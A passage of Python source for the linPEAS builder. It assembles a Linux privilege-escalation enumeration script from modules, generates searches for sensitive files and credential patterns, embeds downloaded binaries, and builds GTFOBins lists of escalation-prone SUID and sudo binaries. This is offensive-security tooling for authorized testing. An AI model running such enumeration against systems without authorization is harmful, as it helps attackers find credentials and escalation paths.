[] section_checks[part_mod["name"]]["checks"].append(check) break initial_functions = set() for section_name, section_info in section_checks.items(): # Add 1 time the big section name to check_names to then put it inside linpeas in PEAS_CHECKS_MARKUP if not section_info['name_check'] in check_names: check_names.append(section_info['name_check']) # Collect all MITRE IDs declared across every check in this section section_mitre_ids = [] for c in section_info["checks"]: for mid in c.mitre_ids: if mid not in section_mitre_ids: section_mitre_ids.append(mid) section_mitre_str = ",".join(section_mitre_ids) # Gate on both CHECKS name and (if MITRE_FILTER active) the section's MITRE IDs. # check_mitre_filter already returns 0 when MITRE_FILTER is empty, so no extra guard needed. if section_mitre_str: self.linpeas_base += f"\nif echo $CHECKS | grep -q {section_info['name_check']}; then\n" self.linpeas_base += f'if check_mitre_filter "{section_mitre_str}"; then\n' extra_fi = True else: self.linpeas_base += f"\nif echo $CHECKS | grep -q {section_info['name_check']}; then\n" extra_fi = False # Section title does not show MITRE IDs (too verbose); individual checks carry their own tags self.linpeas_base += f'print_title "{section_name}"\n' section_info["checks"] = sorted(section_info["checks"], key=lambda x: int(os.path.basename(x.path).split('_')[0]) if os.path.basename(x.path).split('_')[0].isdigit() else 99) for check in section_info["checks"]: for func in check.initial_functions: if not func in initial_functions: self.linpeas_base += func + "\n" initial_functions.add(func) # Wrap individual check in MITRE filter if it declares technique IDs if check.mitre_ids: mitre_tag_str = ",".join(check.mitre_ids) self.linpeas_base += f'if check_mitre_filter "{mitre_tag_str}"; then\n' self.linpeas_base += check.sh_code.strip() + "\n\n" self.linpeas_base += "fi\n\n" else: self.linpeas_base += check.sh_code.strip() + "\n\n" if extra_fi: self.linpeas_base += "fi\n" self.linpeas_base += f"\nfi\necho ''\necho ''\n" self.linpeas_base += 'if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi\n' self.linpeas_base = self.linpeas_base.replace(PEAS_CHECKS_MARKUP, ",".join(check_names)) with open(TEMPORARY_LINPEAS_BASE_PATH, "w") as f: f.write(self.linpeas_base) def find_func_module(self, func_name:str): """Given a function name and the list of modules return the module that contains the function""" modules = [] for module in self.all_modules: if func_name in module.defined_funcs: modules.append(module) if len(modules) == 0: raise Exception(f"Function {func_name} not found in any module") elif len(modules) > 1: raise Exception(f"Function {func_name} found in more than 1 module: {modules}") return modules[0] def find_variable_module(self, var_name:str, orig_module:LinpeasModule): """Given a variable name and the list of modules return the module that contains the variable""" modules = [] for module in self.all_modules: if var_name in module.generated_global_variables: modules.append(module) if len(modules) == 0: raise Exception(f"Variable '{var_name}' from {orig_module.path} not found in any module") elif len(modules) > 1: raise Exception(f"Variable {var_name} found in more than 1 module: {', '.join([m.path for m in modules])}") return modules[0] def sort_funcs(self, functions:List[LinpeasModule]): """Given a list of functions, return the list sorted by dependencies""" sorted_funcs = functions.copy() retry = False for i,func in enumerate(functions): for d_func in func.functions_used: is_base = False # If the dependant variable is defined in a module that is in the base, remove it from the list if any (d_func in m.defined_funcs for m in self.base): try: sorted_funcs.index(d_func) # Check if it's there sorted_funcs.remove(d_func) # Remove if it's retry = True # After a failure, start again except: pass is_base = True if is_base: continue # If a dependant variable is after the current one, move it to the current position try: dp_index = functions.index(d_func) except: raise Exception(f"Variable {d_func} not found in {func.path}") if dp_index > i: sorted_funcs.remove(d_func) sorted_funcs.insert(i, functions[dp_index]) retry = True if retry: return self.sort_funcs(sorted_funcs) return sorted_funcs def sort_variables(self, variables:List[LinpeasModule]): """Given a list of variables, return the list sorted by dependencies""" sorted_vars = variables.copy() retry = False for i,var in enumerate(variables): for d_var in var.global_variables: is_base = False # If the dependant variable is defined in a module that is in the base, remove it from the list if any (d_var in m.generated_global_variables for m in self.base): try: sorted_vars.index(d_var) # Check if it's there sorted_vars.remove(d_var) # Remove if it's retry = True # After a failure, start again except: pass is_base = True if is_base: continue # If a dependant variable is after the current one, move it to the current position try: dp_index = variables.index(d_var) except: raise Exception(f"Variable {d_var} not found in {var.path}") if dp_index > i: sorted_vars.remove(d_var) sorted_vars.insert(i, variables[dp_index]) retry = True if retry: return self.sort_variables(sorted_vars) return sorted_vars def get_funcs_deps(self, module, all_funcs): """Given 1 module and the list of modules return the functions recursively it depends on""" module_funcs = list(set(module.initial_functions + module.functions_used)) for func in module_funcs: func_module = self.find_func_module(func) #print(f"{module.id} has found {func} in {func_module.id}") #To find circular dependencies if not func_module.is_function: continue if func_module in all_funcs: all_funcs.remove(func_module) all_funcs.append(func_module) all_funcs = self.get_funcs_deps(func_module, all_funcs) return all_funcs def get_vars_deps(self, module, all_vars): """Given 1 module and the list of modules return the variables recursively it depends on""" for var in module.global_variables: var_module = self.find_variable_module(var, module) #print(f"{module.id} has found {var} in {var_module.id}") #To find circular dependencies if not var_module.is_variable: continue if var_module in all_vars: all_vars.remove(var_module) all_vars.append(var_module) all_vars = self.get_vars_deps(var_module, all_vars) return all_vars def get_functions(self): """Get all the functions used sorted, first the ones that don't depend on any other, then the ones that depend on the previous ones, etc.""" all_funcs = LinpeasModuleList() for module in self.checks: all_funcs = self.get_funcs_deps(module, all_funcs) return self.sort_funcs(all_funcs) def get_variables(self): """Get all the variables used sorted, first the ones that don't depend on any other, then the ones that depend on the previous ones, etc.""" all_variables = LinpeasModuleList() for module in self.checks + self.functions: all_variables = self.get_vars_deps(module, all_variables) return self.sort_variables(all_variables) def get_checks(self): """Given all the modules get only the checks""" checks = LinpeasModuleList() for module in self.all_modules: if not module.is_check: continue checks.append(module) return checks def get_base(self): """Given all the modules get only the base""" checks = LinpeasModuleList() for module in self.all_modules: if not module.is_base: continue checks.append(module) return checks def enumerate_directory(self, path): """Given a directory get the paths to all the files inside it""" return sorted([os.path.join(path, f) for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]) def get_modules(self, all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) -> LinpeasModuleList: """Get all the base, variable, function and specified modules to create the new linpeas""" print("[+] Checking the syntax of the modules...") parsed_modules = LinpeasModuleList() all_module_paths = [] # Base modules all_module_paths += self.enumerate_directory(LINPEAS_PARTS["base"]) # Function modules all_module_paths += self.enumerate_directory(LINPEAS_PARTS["functions"]) # Variable modules all_module_paths += self.enumerate_directory(LINPEAS_PARTS["variables"]) for module in LINPEAS_PARTS["modules"]: exclude = False for ex_module in exclude_modules: if ex_module in module["folder_path"] or ex_module in [module["name"], module["name_check"]]: exclude = True break if exclude: continue all_module_paths += self.enumerate_directory(module["folder_path"]) for module in all_module_paths: m = LinpeasModule(module) # If base, function or variable, add it as it will only be used if needed if m.is_function or m.is_variable: parsed_modules.append(m) continue # If base but no interested in network scanning, skip, else, add if m.is_base: if "check_network_jobs" in m.path and no_network_scanning: continue parsed_modules.append(m) continue # If explicitely excluded, skip if m.id in exclude_modules: continue if all_no_fat_modules and m.is_fat: continue if small and not m.is_small: continue # If implicitly included, add if all_modules or all_no_fat_modules or m.id in include_modules: parsed_modules.append(m) for in_module in include_modules: if in_module.lower() in os.path.basename(m.path).lower() or in_module.lower() == m.id.lower() or in_module in [m.section_info["name"], m.section_info["name_check"]]: parsed_modules.append(m) break return parsed_modules ================================================ FILE: linPEAS/builder/src/linpeasBuilder.py ================================================ import re import requests import base64 import os from pathlib import Path from .peasLoaded import PEASLoaded from .peassRecord import PEASRecord from .fileRecord import FileRecord from .linpeasModule import LinpeasModule from .yamlGlobals import ( TEMPORARY_LINPEAS_BASE_PATH, PEAS_FINDS_MARKUP, PEAS_FINDS_CUSTOM_MARKUP, PEAS_STORAGES_MARKUP, INT_HIDDEN_FILES_MARKUP, ROOT_FOLDER, STORAGE_TEMPLATE, FIND_TEMPLATE, FIND_LINE_MARKUP, STORAGE_LINE_MARKUP, STORAGE_LINE_EXTRA_MARKUP, EXTRASECTIONS_MARKUP, PEAS_VARIABLES_MARKUP, YAML_VARIABLES, SUIDVB1_MARKUP, SUIDVB2_MARKUP, SUDOVB1_MARKUP, SUDOVB2_MARKUP, CAP_SETUID_MARKUP, CAP_SETGID_MARKUP, REGEXES_LOADED, REGEXES_MARKUP ) class LinpeasBuilder: def __init__(self, ploaded:PEASLoaded): self.ploaded = ploaded self.hidden_files = set() self.bash_find_f_vars, self.bash_find_d_vars = set(), set() self.bash_storages = set() self.__get_files_to_search() with open(TEMPORARY_LINPEAS_BASE_PATH, 'r') as file: self.linpeas_sh = file.read() def build(self): print("[+] Building variables...") variables = self.__generate_variables() self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "") if len(re.findall(r"PSTORAGE_[a-zA-Z0-9_]+", self.linpeas_sh)) > 1: #Only add storages if there are storages (PSTORAGE_BACKUPS is always there so it doesn't count) print("[+] Building finds...") find_calls, find_custom_calls = self.__generate_finds() self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ") self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ") print("[+] Building storages...") storage_vars = self.__generate_storages() self.__replace_mark(PEAS_STORAGES_MARKUP, storage_vars, " ") else: lm = LinpeasModule(os.path.join(os.path.dirname(__file__), "..", "linpeas_parts", "linpeas_base", "2_caching_finds.sh")) self.linpeas_sh = self.linpeas_sh.replace(lm.sh_code, "") #Check all the expected STORAGES in linpeas have been created for s in re.findall(r'PSTORAGE_[a-zA-Z0-9_]+', self.linpeas_sh): assert s in self.bash_storages, f"{s} isn't created" #Replace interesting hidden files markup for a list of all the searched hidden files self.__replace_mark(INT_HIDDEN_FILES_MARKUP, sorted(self.hidden_files), "|") print("[+] Checking duplicates...") peass_marks = self.__get_peass_marks() for i,mark in enumerate(peass_marks): for j in range(i+1,len(peass_marks)): assert mark != peass_marks[j], f"Found repeated peass mark: {mark}" print("[+] Building autocheck sections...") sections = self.__generate_sections() for section_name, bash_lines in sections.items(): mark = "peass{"+section_name+"}" if mark in peass_marks: self.__replace_mark(mark, list(bash_lines), "") else: self.__replace_mark(EXTRASECTIONS_MARKUP, [bash_lines, EXTRASECTIONS_MARKUP], "\n\n") self.__replace_mark(EXTRASECTIONS_MARKUP, list(""), "") #Delete extra markup print("[+] Building regexes searches...") section = self.__generate_regexes_search() self.__replace_mark(REGEXES_MARKUP, list(section), "") print("[+] Downloading external tools...") urls = re.findall(r'peass\{(https://[^\}]+)\}', self.linpeas_sh) for orig_url in urls: tar_gz_bin_name = "" if ",,," in orig_url: tar_gz_bin_name = orig_url.split(",,,")[1] url = orig_url.split(",,,")[0] else: url = orig_url print(f"Downloading {url}...") bin_b64 = self.__get_bin(url, tar_gz_bin_name) assert len(bin_b64) > 15000, f"Len of downloaded {url} is {len(bin_b64)}" self.__replace_mark("peass{"+orig_url+"}", list(bin_b64), "") if any(v in self.linpeas_sh for v in [SUIDVB1_MARKUP, SUIDVB2_MARKUP, SUDOVB1_MARKUP, SUDOVB2_MARKUP, CAP_SETUID_MARKUP, CAP_SETGID_MARKUP]): print("[+] Building GTFOBins lists...") suidVB, sudoVB, capsVB = self.__get_gtfobins_lists() assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}" assert len(sudoVB) > 250, f"Len sudo is {len(sudoVB)}" assert len(capsVB) > 2, f"Len capsVB is {len(capsVB)}" self.__replace_mark(SUIDVB1_MARKUP, suidVB[:int(len(suidVB)/2)], "|") self.__replace_mark(SUIDVB2_MARKUP, suidVB[int(len(suidVB)/2):], "|") self.__replace_mark(SUDOVB1_MARKUP, sudoVB[:int(len(sudoVB)/2)], "|") self.__replace_mark(SUDOVB2_MARKUP, sudoVB[int(len(sudoVB)/2):], "|") self.__replace_mark(CAP_SETUID_MARKUP, capsVB, "|") self.__replace_mark(CAP_SETGID_MARKUP, capsVB, "|") print("[+] Final sanity checks...") #Check that there arent peass marks left in linpeas peass_marks = self.__get_peass_marks() assert len(peass_marks) == 0, f"There are peass marks left: {', '.join(peass_marks)}" #Check for empty seds assert 'sed -${E} "s,,' not in self.linpeas_sh def __get_peass_marks(self): return re.findall(r'peass\{[a-zA-Z0-9\-\._ ]*\}', self.linpeas_sh) def __generate_variables(self): """Generate the variables from the yaml to set into linpeas bash script""" variables_bash = "" for var in YAML_VARIABLES: variables_bash += f"{var['name']}=\"{var['value']}\"\n" return variables_bash def __get_files_to_search(self): """Given a PEASLoaded and find the files that need to be searched on each root folder""" self.dict_to_search = {"d": {}, "f": {}} self.dict_to_search["d"] = {r: set() for r in ROOT_FOLDER} self.dict_to_search["f"] = {r: set() for r in ROOT_FOLDER} for precord in self.ploaded.peasrecords: for frecord in precord.filerecords: for folder in frecord.search_in: self.dict_to_search[frecord.type][folder].add(frecord.regex) if frecord.regex[0] == "." or frecord.regex[:2] == "*.": self.hidden_files.add(frecord.regex.replace("*","")) def __generate_finds(self) -> list: """Given the regexes to search on each root folder, generate the find command""" finds = [] finds_custom = [] all_folder_regexes = [] all_file_regexes = [] for type,searches in self.dict_to_search.items(): for r,regexes in searches.items(): if regexes: find_line = f"{r} " if type == "d": find_line += "-type d " bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}" self.bash_find_d_vars.add(bash_find_var) all_folder_regexes += regexes else: bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}" self.bash_find_f_vars.add(bash_find_var) all_file_regexes += regexes find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"' find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line) find_line = f"{bash_find_var}={find_line}" finds.append(find_line) # Buid folder and files finds when searching in a custom folder all_folder_regexes = list(set(all_folder_regexes)) find_line = '$SEARCH_IN_FOLDER -type d -name \\"' + '\\" -o -name \\"'.join(all_folder_regexes) + '\\"' find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line) find_line = f"FIND_DIR_CUSTOM={find_line}" finds_custom.append(find_line) all_file_regexes = list(set(all_file_regexes)) find_line = '$SEARCH_IN_FOLDER -name \\"' + '\\" -o -name \\"'.join(all_file_regexes) + '\\"' find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line) find_line = f"FIND_CUSTOM={find_line}" finds_custom.append(find_line) return finds, finds_custom def __generate_storages(self) -> list: """Generate the storages to save the results per entry""" storages = [] custom_storages = ["FIND_CUSTOM", "FIND_DIR_CUSTOM"] all_f_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + custom_storages) all_d_finds = "$" + "\\n$".join(list(self.bash_find_d_vars) + custom_storages) all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars) + custom_storages) for precord in self.ploaded.peasrecords: bash_storage_var = f"PSTORAGE_{precord.bash_name}" self.bash_storages.add(bash_storage_var) #Select the FIND_ variables to search on depending on the type files if all(frecord.type == "f" for frecord in precord.filerecords): storage_line = STORAGE_TEMPLATE.replace(STORAGE_LINE_MARKUP, all_f_finds) elif all(frecord.type == "d" for frecord in precord.filerecords): storage_line = STORAGE_TEMPLATE.replace(STORAGE_LINE_MARKUP, all_d_finds) else: storage_line = STORAGE_TEMPLATE.replace(STORAGE_LINE_MARKUP, all_finds) #Grep by filename regex (ended in '$') bsp = '\\.' #A 'f' expression cannot contain a backslash, so we generate here the bs need in the line below grep_names = f" | grep -E \"{'|'.join([frecord.regex.replace('.',bsp).replace('*', '.*')+'$' for frecord in precord.filerecords])}\"" #Grep by searched folders grep_folders_searched = f" | grep -E \"^{'|^'.join(list(set([d for frecord in precord.filerecords for d in frecord.search_in])))}\"".replace("HOMESEARCH","GREPHOMESEARCH") #Grep extra paths. They are accumulative between files of the same PEASRecord grep_extra_paths = "" if any(True for frecord in precord.filerecords if frecord.check_extra_path): grep_extra_paths = f" | grep -E '{'|'.join(list(set([frecord.check_extra_path for frecord in precord.filerecords if frecord.check_extra_path])))}'" #Grep to remove paths. They are accumulative between files of the same PEASRecord grep_remove_path = "" if any(True for frecord in precord.filerecords if frecord.remove_path): grep_remove_path = f" | grep -v -E '{'|'.join(list(set([frecord.remove_path for frecord in precord.filerecords if frecord.remove_path])))}'" #Construct the final line like: STORAGE_MYSQL=$(echo "$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT" | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -v "mysql/mysql") storage_line = storage_line.replace(STORAGE_LINE_EXTRA_MARKUP, f"{grep_remove_path}{grep_extra_paths}{grep_folders_searched}{grep_names}") storage_line = f"{bash_storage_var}={storage_line}" storages.append(storage_line) return storages def __generate_sections(self) -> dict: """Generate sections for records with auto_check to True""" sections = {} for precord in self.ploaded.peasrecords: if precord.auto_check: section = f'if [ "$PSTORAGE_{precord.bash_name}" ] || [ "$DEBUG" ]; then\n' section += f' print_2title "Analyzing {precord.name.replace("_"," ")} Files (limit 70)"\n' for exec_line in precord.exec: if exec_line: section += " " + exec_line + "\n" for frecord in precord.filerecords: section += " " + self.__construct_file_line(precord, frecord) + "\n" section += "fi\n" sections[precord.name] = section return sections def __construct_file_line(self, precord: PEASRecord, frecord: FileRecord, init: bool = True) -> str: real_regex = frecord.regex[1:] if frecord.regex.startswith("*") and len(frecord.regex) > 1 else frecord.regex real_regex = real_regex.replace(".","\\.").replace("*",".*") real_regex += "$" analise_line = "" if init: analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; ' analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; ' #If just list, just list the file/directory if frecord.just_list_file: if frecord.type == "d": analise_line += 'ls -lRA "$f";' analise_line += 'done; echo "";' return analise_line if frecord.type == "f": grep_empty_lines = ' | grep -IEv "^$"' grep_line_grep = f' | grep -E {frecord.line_grep}' if frecord.line_grep else "" grep_only_bad_lines = f' | grep -E "{frecord.bad_regex}"' if frecord.bad_regex else "" grep_remove_regex = f' | grep -Ev "{frecord.remove_regex}"' if frecord.remove_regex else "" sed_bad_regex = ' | sed -${E} "s,'+frecord.bad_regex+',${SED_RED},g"' if frecord.bad_regex else "" sed_very_bad_regex = ' | sed -${E} "s,'+frecord.very_bad_regex+',${SED_RED_YELLOW},g"' if frecord.very_bad_regex else "" sed_good_regex = ' | sed -${E} "s,'+frecord.good_regex+',${SED_GOOD},g"' if frecord.good_regex else "" if init: analise_line += 'cat "$f" 2>/dev/null' else: analise_line += 'cat "$ff" 2>/dev/null' if grep_empty_lines: analise_line += grep_empty_lines if grep_line_grep: analise_line += grep_line_grep if frecord.only_bad_lines and not grep_line_grep: analise_line += grep_only_bad_lines if grep_remove_regex: analise_line += grep_remove_regex if sed_bad_regex: analise_line += sed_bad_regex if sed_very_bad_regex: analise_line += sed_very_bad_regex if sed_good_regex: analise_line += sed_good_regex analise_line += '; done; echo "";' return analise_line #In case file is type "d" if frecord.files: for ffrecord in frecord.files: ff_real_regex = ffrecord.regex[1:] if ffrecord.regex.startswith("*") and ffrecord.regex != "*" else ffrecord.regex ff_real_regex = ff_real_regex.replace("*",".*") #analise_line += 'for ff in $(find "$f" -name "'+ffrecord.regex+'"); do ls -ld "$ff" | sed -${E} "s,'+ff_real_regex+',${SED_RED},"; ' + self.__construct_file_line(precord, ffrecord, init=False) analise_line += 'find "$f" -name "'+ffrecord.regex+'" | while read ff; do ls -ld "$ff" | sed -${E} "s,'+ff_real_regex+',${SED_RED},"; ' + self.__construct_file_line(precord, ffrecord, init=False) analise_line += 'done; echo "";' return analise_line def __get_bin(self, url, tar_gz="") -> str: os.system(f"wget -q '{url}' -O /tmp/bin_builder") if tar_gz: os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder 2> /dev/null; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder") with open("/tmp/bin_builder", "rb") as bin: bin_b64 = base64.b64encode(bin.read()).decode('utf-8') os.remove("/tmp/bin_builder") return bin_b64 def __get_gtfobins_lists(self) -> tuple: bins = [] api_url = "https://api.github.com/repos/GTFOBins/GTFOBins.github.io/contents/_gtfobins?per_page=100" while api_url: r = requests.get(api_url, timeout=10) if not r.ok: break data = r.json() for entry in data: if entry.get("type") == "file" and entry.get("name"): bins.append(entry["name"]) api_url = None link = r.headers.get("Link", "") for part in link.split(","): if 'rel="next"' in part: api_url = part.split(";")[0].strip().strip("<>") break if not bins: r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins", timeout=10) bins = re.findall(r'_gtfobins/([a-zA-Z0-9_ \-]+)(?:\\.md)?', r.text) sudoVB = [] suidVB = [] capsVB = [] for b in bins: try: rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}", timeout=5) except: try: rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}", timeout=5) except: rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}", timeout=5) if "sudo:" in rb.text: if len(b) <= 3: sudoVB.append("[^a-zA-Z0-9]"+b+"$") # Less false possitives applied to small names else: sudoVB.append(b+"$") if "suid:" in rb.text: suidVB.append("/"+b+"$") if "capabilities:" in rb.text: capsVB.append(b) return (suidVB, sudoVB, capsVB) def __generate_regexes_search(self) -> str: regexes = REGEXES_LOADED["regular_expresions"] regexes_search_section = "" for values in regexes: section_name = values["name"] regexes_search_section += f' print_2title "Searching {section_name}"\n' for entry in values["regexes"]: name = entry["name"] caseinsensitive = entry.get("caseinsensitive", False) regex = entry["regex"] regex = regex.replace("\\", "\\\\").replace('"', '\\"').strip() falsePositives = entry.get("falsePositives", False) if falsePositives: continue regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n" regexes_search_section += " echo ''\n\n" return regexes_search_section def __replace_mark(self, mark: str, find_calls: list, join_char: str): """Substitute the markup with the actual code""" self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char isn't needed def write_linpeas(self, path): """Write on disk the final linpeas""" with open(path, "w") as f: f.write(self.linpeas_sh) print(f"[+] Linpeas written on {path}") ================================================ FILE: linPEAS/builder/src/linpeasModule.py ================================================ import os import re from .yamlGlobals import ( LINPEAS_PARTS ) class LinpeasModule: def __init__(self, path): self.path = path real_path = os.path.realpath(path) with open(path, 'r') as file: self.module_text = file.read() self.sh_code = "" self.is_check = False self.is_function = False self.is_variable = False self.is_base = False if "/functions/" in path: self.is_function = True elif "/variables/" in path: self.is_variable = True elif "/linpeas_base/" in path: self.is_base = True self.section_info = {} if not (self.is_base or self.is_function or self.is_variable): for module in LINPEAS_PARTS["modules"]: if os.path.realpath(module["folder_path"]) in real_path: self.section_info = module self.is_check = True break if not (self.is_base or self.is_function or self.is_variable or self.is_check): raise Exception(f"Module {path} doesn't belong to any section") # Initi data self.title = None self.id = None self.author = None self.last_update = None self.description = None self.version = None self.mitre_ids = [] # list of MITRE ATT&CK technique IDs (e.g. ["T1082", "T1548.003"]) self.functions_used = None self.global_variables = None self.initial_functions = None self.generated_global_variables = None self.is_fat = None self.is_small = None self.sh_code = "" is_description = False for i,line in enumerate(self.module_text.splitlines()): if line.startswith("# Title:"): self.title = line[8:].strip() is_description = False elif line.startswith("# ID:"): self.id = line[5:].strip() is_description = False if re.sub('^[0-9]+_', '', os.path.basename(path).replace(".sh", "")) not in [self.id, self.id[3:]]: raise Exception(f"Wrong ID in module {path}. It should be the same as the filename") elif line.startswith("# Author:"): is_description = False self.author = line[10:].strip() elif line.startswith("# Last Update:"): is_description = False self.last_update = line[15:].strip() elif line.startswith("# Description:"): self.description = line[15:].strip() is_description = True elif line.startswith("# Version:"): is_description = False self.version = line[11:].strip() elif line.startswith("# Mitre:"): is_description = False raw = line[8:].strip() self.mitre_ids = [t.strip() for t in raw.split(",") if t.strip()] elif line.startswith("# Functions Used:"): is_description = False self.functions_used = line[17:].split(",") self.functions_used = [f.strip() for f in self.functions_used if f.strip()] if "/variables/" in path and self.functions_used: raise Exception(f"Variables shouldn't user functions, so functions in module {path} should be empty") elif line.startswith("# Global Variables:"): is_description = False self.global_variables = line[19:].split(",") self.global_variables = [f.strip().replace("$", "") for f in self.global_variables if f.strip()] elif line.startswith("# Initial Functions:"): is_description = False self.initial_functions = line[20:].split(",") self.initial_functions = [f.strip() for f in self.initial_functions if f.strip()] elif line.startswith("# Generated Global Variables:"): is_description = False self.generated_global_variables = line[29:].split(",") self.generated_global_variables = [f.strip().replace("$", "") for f in self.generated_global_variables if f.strip()] elif line.startswith("# Fat linpeas:"): is_description = False self.is_fat = bool(int(line[15])) elif line.startswith("# Small linpeas:"): is_description = False self.is_small = bool(int(line[17])) elif is_description: if line.strip(): self.description += line + "\n" else: # If line empty, outside of description is_description = False else: if line.strip(): self.sh_code += line + "\n" if self.title is None: raise Exception(f"Wrong title in module {path}. Some metadata should start with '# Title: '") if self.id is None: raise Exception(f"Wrong ID in module {path}. Some metadata should start with '# ID: '") if self.author is None: raise Exception(f"Wrong author in module {path}. Some metadata should start with '# Author: '") if self.last_update is None: raise Exception(f"Wrong last update in module {path}. Some metadata should start with '# Last Update: '") if self.description is None: raise Exception(f"Wrong description in module {path}. Some metadata should start with '# Description: '") if self.version is None: raise Exception(f"Wrong version in module {path}. Some metadata should start with '# Version: '") if self.functions_used is None: raise Exception(f"Wrong functions used in module {path}. Some metadata should start with '# Functions Used: '") if self.global_variables is None: raise Exception(f"Wrong global variables in module {path}. Some metadata should start with '# Global Variables: '") if self.initial_functions is None: raise Exception(f"Wrong initial functions in module {path}. Some metadata should start with '# Initial Functions: '") if self.generated_global_variables is None: raise Exception(f"Wrong generated global variables in module {path}. Some metadata should start with '# Generated Global Variables: '") if self.is_fat is None: raise Exception(f"Wrong fat linpeas in module {path}. Some metadata should start with '# Fat linpeas: '") if self.is_small is None: raise Exception(f"Wrong small linpeas in module {path}. Some metadata should start with '# Small linpeas: '") if self.sh_code == "": raise Exception(f"Wrong sh code in module {path}. No code found.") self.sh_code = self.sh_code.strip() self.defined_funcs = self.extract_function_names() # Check if the indicated dependencies are actually being used for func in self.functions_used: if func not in self.sh_code and func not in self.initial_functions and not "peass{" in self.sh_code: raise Exception(f"Used function '{func}' in module {path} doesn't exist in the module code") for var in self.global_variables: if var not in self.sh_code and not "peass{" in self.sh_code: raise Exception(f"Used variable '{var}' in module {path} doesn't exist in the module code") for var in self.generated_global_variables: if var not in self.sh_code: raise Exception(f"Generated variable '{var}' in module {path} doesn't exist in the module code") # Check for funcs and vars imported from itself for func in self.defined_funcs: if func in self.functions_used: raise Exception(f"Function '{func}' in module {path} is imported from itself") for var in self.global_variables: if var in self.generated_global_variables: raise Exception(f"Variable '{var}' in module {path} is imported from itself") # Check if all variables are correctly defined linux_global_vars = [ "OPTARG", "PID", "PPID", "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI", "AWS_LAMBDA_RUNTIME_API", "ECS_CONTAINER_METADATA_URI", "ECS_CONTAINER_METADATA_URI_v4", "IDENTITY_ENDPOINT", "IDENTITY_HEADER", "KUBERNETES_SERVICE_PORT_HTTPS", "KUBERNETES_SERVICE_HOST" ] main_base = None # Base global variables don't need to be defined if self.id != "BS_variables_base": main_base = LinpeasModule(os.path.join(os.path.dirname(__file__), "..", "linpeas_parts", "linpeas_base", "0_variables_base.sh")) not_defined_global_vars = [] for var in self.extract_variables(self.sh_code): if len(var) > 2 and not var in linux_global_vars and var not in self.global_variables and var not in self.generated_global_variables: if not var.startswith("PSTORAGE_"): if not main_base or var not in main_base.generated_global_variables: not_defined_global_vars.append("$"+var) if not_defined_global_vars: raise Exception(f"Global Variables '{', '.join(not_defined_global_vars)}' in module {path} are not defined inside the 'Generated Global Variables' metadata") def __eq__(self, other): # Check if other object is an instance of LinpeasModule if isinstance(other, LinpeasModule): return self.id == other.id return NotImplemented # Return NotImplemented for unsupported comparisons def extract_function_names(self): # This regular expression pattern matches function definitions in sh code pattern = r'\b(\w+)\s*\(\s*\)\s*{' return re.findall(pattern, self.sh_code) def extract_variables(self, sh_code): # This regex pattern matches variables in the form $VAR_NAME or ${VAR_NAME} pattern = r'\$({?([a-zA-Z_][a-zA-Z0-9_]*)}?)' matches = re.findall(pattern, sh_code) # Extract the variable name from each match variables = [match[1] for match in matches] return list(set(variables)) # Using set to remove duplicates class LinpeasModuleList(list): def __contains__(self, item): # Check if item is already a LinpeasModule object. if isinstance(item, LinpeasModule): return super().__contains__(item) # Otherwise, treat the item as the id of a LinpeasModule. for module in self: if module.id == item: return True return False def index(self, item_id): for index, module in enumerate(self): if module.id == item_id: return index raise ValueError(f"{item_id} is not in the list") def remove(self, item): # If item is an id, find the corresponding object first. if not isinstance(item, LinpeasModule): index = self.index(item) super().pop(index) else: super().remove(item) def insert(self, index, item): # Ensure that item is a LinpeasModule object before inserting. if not isinstance(item, LinpeasModule): raise ValueError("Item should be an instance of LinpeasModule") super().insert(index, item) def copy(self): return LinpeasModuleList(super().copy()) ================================================ FILE: linPEAS/builder/src/peasLoaded.py ================================================ from .fileRecord import FileRecord from .peassRecord import PEASRecord from .yamlGlobals import YAML_LOADED, DEFAULTS class PEASLoaded: def __init__(self): to_search = YAML_LOADED["search"] self.peasrecords = [] for record in to_search: record_value = record["value"] if "linpeas" in str(record_value["config"].get("disable","")).lower(): continue filerecords = [] for filerecord in record_value["files"]: filerecords.append( FileRecord( regex=filerecord["name"], **filerecord["value"] ) ) name = record["name"] self.peasrecords.append( PEASRecord( name=name, auto_check=record_value["config"]["auto_check"], exec=record_value["config"].get("exec", DEFAULTS["exec"]), filerecords=filerecords ) ) ================================================ FILE: linPEAS/builder/src/peassRecord.py ================================================ class 